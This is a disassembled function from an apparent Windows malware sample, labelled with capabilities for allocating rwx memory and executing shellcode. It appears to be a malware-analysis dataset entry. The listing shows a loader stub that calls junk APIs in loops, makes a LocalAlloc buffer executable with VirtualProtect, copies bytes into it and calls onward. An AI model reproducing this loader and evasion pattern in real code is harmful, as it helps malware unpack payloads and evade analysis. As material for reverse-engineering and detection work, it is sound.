Function at 0x4037f7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4223b7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x154c
call fcn.0040d360
push ebx
push esi
xor esi, esi
cmp dword [0x88792c], 0x5b1
push edi
jne 0x4038ab
push esi
lea eax, [esp + 0x15c]
push eax
push esi
push 0x402dc0
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x1c]
call fcn.00403b59
push esi
mov dword [esp + 0x1568], esi
call fcn.004046ee
pop ecx
call fcn.0040468c
lea ecx, [esp + 0xc]
call fcn.0040342c
lea ecx, [esp + 0xc]
call fcn.00403445
push esi
push esi
call fcn.00404a0b
push esi
call fcn.004049dc
add esp, 0xc
push esi
call fcn.004049c5
pop ecx
push esi
call fcn.00404ce3
pop ecx
push esi
call fcn.004049c5
pop ecx
call fcn.00404a9e
add dword [0x88792c], 0x1134b
push dword [0x88792c]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push dword [0x88792c]
mov dword [0x860acc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403903
inc edi
cmp edi, 0x4f6a4
jl 0x4038e3
xor edi, edi
cmp dword [0x88792c], esi
jbe 0x40395e
cmp dword [0x88792c], 0xa8
mov eax, dword [0x888390]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x860acc]
mov byte [ecx + edi], al
jne 0x403955
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402e88
lea eax, [esp + 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
inc edi
cmp edi, dword [0x88792c]
jb 0x40390d
xor edi, edi
mov eax, dword [0x88792c]
add eax, edi
cmp eax, 0xe
jne 0x4039c1
push esi
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
lea eax, [esp + 0xd5c]
push eax
push esi
push 0x402f00
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402f98
push 0x403010
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0x160]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
inc edi
cmp edi, 0x39621
jl 0x403960
call fcn.004036d5
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x4039de
call fcn.004037dd
inc edi
cmp edi, 0x6753f
jl 0x4039d1
push 0x7b
pop edi
cmp dword [0x88792c], 0x86
jne 0x403a46
push esi
push esi
push esi
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0x402e6c
push 0x403028
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelW]
push esi
push esi
push esi
push 0x40309c
push 0x4030ac
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push esi
lea eax, [esp + 0x95c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
dec edi
jne 0x4039ea
push 0x4030c0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ecx, dword [esp + 0x155c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret